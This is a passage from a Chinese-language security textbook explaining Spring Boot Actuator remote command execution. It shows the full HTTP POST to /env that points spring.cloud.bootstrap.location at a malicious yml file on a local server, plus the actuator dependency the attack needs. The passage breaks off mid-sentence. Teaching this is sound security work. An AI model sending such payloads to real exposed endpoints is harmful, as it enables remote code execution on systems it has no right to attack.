5.6.4　Spring Boot 远程命令执行

漏洞原理以及 POC 构造分析

漏洞的利用过程分为两个步骤，第一步是访问/env 接口修改配置属性，第二步是访问/refresh 接口对配置进行刷新，刷新过程会读取前面修改的配置并到指定的服务器上加载恶意 yml 文件。

payload 如下所示。

```
POST /env HTTP/1.1
Host: 127.0.0.1:9092
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp
,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

spring.cloud.bootstrap.location=http://127.0.0.1:8000/example.yml
```

通过 POST 向/env 接口发起请求，正文中携带一个参数，该参数的参数名为“spring.cloud.bootstrap.location”，该参数的值为恶意 yml 文件的地址。

访问该接口需要目标中存在 Spring Boot Actuator 的依赖，如图 5-120 所示。

```
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-actuator</artifactId>
    <version>${springboot.version}</version>
</dependency>
```

图 5-120　存在 Spring Boot Actuator 的依赖

这样就可以访问/env 接口。Spring Boot Actuator 是一款可以辅助监控系统数据的